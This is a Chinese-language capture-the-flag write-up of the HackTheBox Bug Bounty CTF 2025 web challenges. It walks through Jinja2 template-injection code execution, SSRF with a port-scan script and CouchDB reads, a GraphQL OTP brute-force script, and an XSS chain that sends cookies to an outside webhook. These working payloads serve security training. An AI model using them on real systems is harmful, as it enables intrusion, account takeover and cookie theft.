HackTheBox Bug Bounty CTF 2025 Write Up

Before all

solo/AK(破台), Rank 31/1301

之前在 CTFTime 上看到這場冠軍獎品居然是 CBBH 證照,忍不住就想衝一把 結果就記錯時間了,題目太簡單自然早就有冠軍了,後面就拿牛肉湯的帳號登入一下 solo 一把 XD

這場的題目模式比較有趣,都是黑箱,但又怕太通靈(?)所以都會提一下這題可能需要的技術點,感覺還行但還是要多做點 enumeration 跟觀察,整體題目難度體感大概 3/10,但好少一次看那麼多 Next.js 搞出來的網站有點累

還是紀錄幾個關鍵字:

  • Prototype Pollution
  • JSON Escape
  • Alias-based Query Batching
  • CouchDB
  • Mongo Object ID Prediction

最後一個關鍵自很有趣,簡單來說 Mongo DB 生成的 Object ID 會是當前時間 + (理論上同一個 db 都一樣的) Process ID 和 db 編號 + 流水號,可預測 XD (但給這個 Hint 的題目完全不需要使用這個 feature)

Writeup

按照官方難度排?

JinjaCare

  • SSTI

沒什麼好講,看到題目名稱就是 Jinja2 SSTI,一開始註冊 username 只可以是英文和空格,但登入後改名不受限,改叫 {{7*7}} 再下載自己的接踵紀錄 pdf 就確認觸發點了

image

image

1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

image

NeoVault

一個線上轉帳程式,會發現下載轉帳資訊的 api 由本來驗證 JWT 的 v2 改成 v1 後會要求提供 _id 的 userid 資訊

image

又因為取得轉帳資訊的時候會拿到 neo_system 的 userid,就可以下載 neo_system 交易紀錄並發現存在 user_with_flag,再次透過

/api/v2/auth/inqure API 獲得 userid,最後再下載一次他的交易紀錄就取得 flag 了

image

CitiSmart

爬一下網站的 JS,會找到 endpoints /api/dashboard/endpoints//api/dashboard/metrics,並且他們不用驗證就能存取(只要有 token cookie 就行)

image

會發現好像都是做一些請求用的

image

然後可以自己塞 url 進去要他請求

image

但是看 WebHook 發現是 /metrics 被請求,問題不大,塞個 # 進去就能 bypass 了 XD

image

/api/dashboard/metrics endpoint 是讀取結果。

拿到 SSRF 後先做 port scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests
import json
import threading
from queue import Queue
from tqdm import tqdm

api_url = 'http://94.237.50.221:39660/api/dashboard/endpoints/'
headers = {
'Cookie': 'token=fucku',
'Content-Type': 'application/json'
}

target_ip = "127.0.0.1"
ports = range(1, 65536)
thread_count = 100

open_ports = []

q = Queue()

def scan():
while not q.empty():
port = q.get()
payload = {
"url": f"http://{target_ip}:{port}/",
"sector": f"whale_port_scan{port}"
}
try:
response = requests.post(api_url, headers=headers, data=json.dumps(payload), timeout=3)
if "ECONNREFUSED" not in response.text:
print(f"[+] Open port found: {port}")
open_ports.append(port)
except Exception as e:
pass
q.task_done()

for port in ports:
q.put(port)

with tqdm(total=len(ports)) as pbar:
def wrapped_scan():
while not q.empty():
scan()
pbar.update(1)

threads = []
for _ in range(thread_count):
t = threading.Thread(target=wrapped_scan)
t.daemon = True
t.start()
threads.append(t)

for t in threads:
t.join()

print("\nOpen ports:")
for port in open_ports:
print(port)

1
2
3
4
5
[+] Open port found: 80
[+] Open port found: 3000
[+] Open port found: 4369
[+] Open port found: 5984
[+] Open port found: 5986

戳一下發現 5984 是 couch db

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#確認是 couchdb
curl -X POST 'http://94.237.50.221:39660/api/dashboard/endpoints/' -H 'Cookie: token=whale' -H 'Content-Type: application/json' -d "{\"url\":\"http://127.0.0.1:5984/#\",\"sector\":\"whale_get_4369\"}"
curl -X GET 'http://94.237.50.221:39660/api/dashboard/metrics' -H 'Cookie: token=whale'

# 取得所有 dbs
curl -X POST 'http://94.237.50.221:39660/api/dashboard/endpoints/' -H 'Cookie: token=whale' -H 'Content-Type: application/json' -d "{\"url\":\"http://127.0.0.1:5984/_all_dbs#\",\"sector\":\"whale_get_5984_all_dbs\"}"
curl -X GET 'http://94.237.50.221:39660/api/dashboard/metrics' -H 'Cookie: token=whale'

# 確認 citismart 可請求,取得 docs 並讀取 flag
curl -X POST 'http://94.237.50.221:39660/api/dashboard/endpoints/' -H 'Cookie: token=whale' -H 'Content-Type: application/json' -d "{\"url\":\"http://127.0.0.1:5984/citismart#\",\"sector\":\"whale_get_5984_citismart\"}"
curl -X GET 'http://94.237.50.221:39660/api/dashboard/metrics' -H 'Cookie: token=whale'
curl -X POST 'http://94.237.50.221:39660/api/dashboard/endpoints/' -H 'Cookie: token=whale' -H 'Content-Type: application/json' -d "{\"url\":\"http://127.0.0.1:5984/citismart/_all_docs#\",\"sector\":\"whale_get_5984_citismart_all_docs\"}"
curl -X GET 'http://94.237.50.221:39660/api/dashboard/metrics' -H 'Cookie: token=whale'
curl -X POST 'http://94.237.50.221:39660/api/dashboard/endpoints/' -H 'Cookie: token=whale' -H 'Content-Type: application/json' -d "{\"url\":\"http://127.0.0.1:5984/citismart/FLAG#\",\"sector\":\"whale_get_5984_citismart_FLAG\"}"
curl -X GET 'http://94.237.50.221:39660/api/dashboard/metrics' -H 'Cookie: token=whale' | grep FLAG

SpeedNet

自產自銷,如果我有幸讓人看到這篇,不會 graphql 可以來快速看 https://blog.whale-tw.com/2024/08/11/hacker101ctf-bugdb/

經典的 GraphQL API 外漏
做 Introspection 取得所有 api 請求方法
可以先 query userid=1 取得 admin email

devForgotPassword 可以獲得任意 email 重設 token 並不用去 mail 翻

1
2
3
mutation($email: String!) {
devForgotPassword(email: $email)
}

接下來就可以用 token 打 resetPassword 的 mutation 把 admin 密碼設定掉,但 admin 預設開啟 OTP 2FA,會寄給 mail

1
2
3
mutation($token: String!, $newPassword: String!) {
resetPassword(token: $token, newPassword: $newPassword)
}

登入後會收到這樣的 token,要去請求 verifyOTP 並驗證成功才能拿 登入 token
image

每次有效五分鐘,有做流量限制,爆破爆破不完

派出 Graph QL Alias-based Query Batching
可以構造這樣的 query 大量驗證 OTP

1
2
3
4
5
6
mutation {
trial0000: verifyTwoFactor(token: "{token}", otp: "0000"){token}
trial0001: verifyTwoFactor(token: "{token}", otp: "0001"){token}
trial0002: verifyTwoFactor(token: "{token}", otp: "0002"){token}
...
}

但因為一次送完太大,我拆成一百一百個一組

Final Exploit,admin 密碼被我換成 whale120 了
Generated by ChatGPT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import requests
import time
import sys

# ----- 配置區 -----
GRAPHQL_URL = "http://94.237.58.201:32592/graphql"
# 請將下面這個 TOKEN 換成你實際拿到的最新值
AUTH_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjMsImlhdCI6MTc1MTEyNTcxNywiZXhwIjoxNzUxMTI5MzE3fQ.p77Om4yL_Jq8si4nCrFEnMzebQfU6uGeFYwhFzBO07Q"
HEADERS = {
"Host": "94.237.58.201:32592",
"Authorization": AUTH_TOKEN,
"Accept-Language": "zh-TW,zh;q=0.9",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Content-Type": "application/json; charset=utf-8",
"Accept": "*/*",
"Origin": "http://94.237.58.201:32592",
"Referer": "http://94.237.58.201:32592/profile",
"Connection": "keep-alive",
}

def build_query(batch_start: int) -> str:
"""
根據 batch_start (0、100、200…) 生成包含 100 條 alias 的 GraphQL mutation 字串
"""
lines = ['mutation {']
token = "9e3c3c48-33b5-41a4-8b22-1bdc9a4e2be5" # GraphQL body 裡也要帶上同樣的 token
for i in range(batch_start, batch_start + 100):
otp = f"{i:04d}"
alias = f"a{otp}"
lines.append(f' {alias}: verifyTwoFactor(token: "{token}", otp: "{otp}") {{')
lines.append(' token')
lines.append(' user { id email username }')
lines.append(' }')
lines.append('}')
return "\n".join(lines)

def try_batch(start: int):
payload = {"query": build_query(start)}
resp = requests.post(GRAPHQL_URL, json=payload, headers=HEADERS, timeout=10)
try:
print(resp.status_code)
data = resp.json()
except ValueError:
print(f"[!] 非 JSON 回應,HTTP {resp.status_code}")
return False

# 如果某個 alias 成功返回 token,就表示找到了正確 OTP
if "data" in data:
for alias, result in data["data"].items():
if result and result.get("token"):
print(f"[+] 找到正確 OTP: {alias[1:]},新 token = {result['token']}")
return True
# 全部失敗
return False

def main():
print("[*] 從 0000 到 9999,以 100 為一組開始爆破…")
for start in range(0, 10000, 100):
print(f"[*] 嘗試範圍 {start:04d} ~ {start+99:04d}")
success = try_batch(start)
if success:
sys.exit(0)
time.sleep(1)
print("[-] 所有範圍均嘗試完畢,未找到正確 OTP。")

if __name__ == "__main__":
main()

Sattrack

XSS 題,CSP 全限制 self
重點:/login 路徑有段 js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
function mergeObjects(target, source) {
let depth = 0;
function merge(target, source) {
if (depth > 10) return target;
depth++;
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
target[key] = merge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
return merge(target, source);
}
async function startApplication() {
const params = new URLSearchParams(window.location.search);
const userMessage = params.get('message');
let isValidated = false;
let defaultConfig = { text: "" };
try {
const userConfig = JSON.parse(decodeURIComponent(userMessage));

let config = mergeObjects(defaultConfig, userConfig);

if (await validateMessage(config)) {
isValidated = true;
} else {
isValidated = false;
}
} catch (e) {
console.error("Error processing message:", e);
}

await loadScripts();
if (isValidated) {
console.log("Validated");
showError(defaultConfig.text);
} else if (!isLoaded && userMessage !== null) {
console.log("Not validated");
showError("Invalid message!");
}
}

mergeObject 有 prototype pollution,而 startApplication 本來是用來提供登入錯誤訊息剛好就可以拿來觸發。
PoC:

1
?message={"__proto__":{"abc":"whale"}}

image

再來看這段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
async function loadScripts() {
console.log("Loading scripts");
const settings = window.settings.JS_FILES ? window.settings : await retrieveSettings();
try {
if (settings.JS_FILES) {
await Promise.all(Object.values(settings.JS_FILES).map(src => {
return new Promise((resolve, reject) => {
const script = document.createElement("script");
script.src = src;
script.onload = resolve;
script.onerror = reject;
document.body.appendChild(script);
});
}));
}
} catch (error) {
console.error("Failed to load scripts:", error);
} finally {
console.log("Scripts loaded");
}
}

拿到 prototype pollution 後蓋掉 JS_FILES 屬性就可以任意引入 js file,剩下 csp 要繞過。
剛好就有這麼一段類似 jsonp 的 endpoint 用來分享資料

1
http://94.237.57.115:53170/partner/share?type=atmosphere&data={1.1, 2.2, 3.3}

試一下可以這樣構造

1
http://94.237.57.115:53170/partner/share?type=whale"};location.href='https://webhook.site/201d87bc-bb9c-4311-89eb-f693571789ea'%2Bbtoa(document.cookie);//&data=whale

組合出來變成

1
{"whale"};location.href='https://webhook.site/201d87bc-bb9c-4311-89eb-f693571789ea'+btoa(document.cookie);//": "whale"}

挺合法的
Final Payload

1
http://127.0.0.1/login?message=%7B%22__proto__%22%3A%7B%22JS_FILES%22%3A%7B%22evil%22%3A%22http%253A%252F%252F127.0.0.1%252Fpartner%252Fshare%253Ftype%253Dwhale%252522%257D%253Bfetch(%252527https%253A%252F%252Fwebhook.site%252F201d87bc-bb9c-4311-89eb-f693571789ea%252F%252527%25252Bbtoa%2528document.cookie%2529)%253B%252F%252F%2526data%253Dwhale%22%7D%7D%7D

幫大家 decode 一下 XD

1
2
3
4
5
6
7
{
"__proto__": {
"JS_FILES": {
"evil": "http://94.237.57.115:53170/partner/share?type=whale%22};fetch(%27https://webhook.site/201d87bc-bb9c-4311-89eb-f693571789ea/%27%2Bbtoa(document.cookie));//&data=whale"
}
}
}